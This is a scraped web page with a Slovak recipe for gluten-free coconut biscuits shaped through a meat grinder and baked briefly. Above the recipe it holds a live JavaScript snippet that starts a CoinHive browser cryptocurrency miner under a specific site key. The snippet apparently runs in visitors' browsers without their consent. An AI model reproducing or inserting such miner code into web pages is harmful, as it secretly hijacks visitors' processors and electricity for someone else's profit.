

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



50 dkg bezlepkovej múky (40 dkg UNI alebo PK + 10 dkg FORTE), 25 dkg Palmarín, 20 dkg práškového cukru, 20 dkg kokosovej múčky, $\frac{1}{2}$ - $\frac{3}{4}$ balíčka vanilkového cukru, 1 žĺtok, 1 vajce, $\frac{3}{4}$ balíčka prášku do pečiva, štipka soli

Všetko dôkladne premiešame rukami (cesto môžeme nechať odstáť 20 minút). Cez mlynček (č. 5 alebo 8) „melieme“ hadov, ukladáme na dosku, nožom rozdelíme na tyčinky. Pečieme v dobre rozohriatej rúre na vymastenom plechu cca 5-8 minút.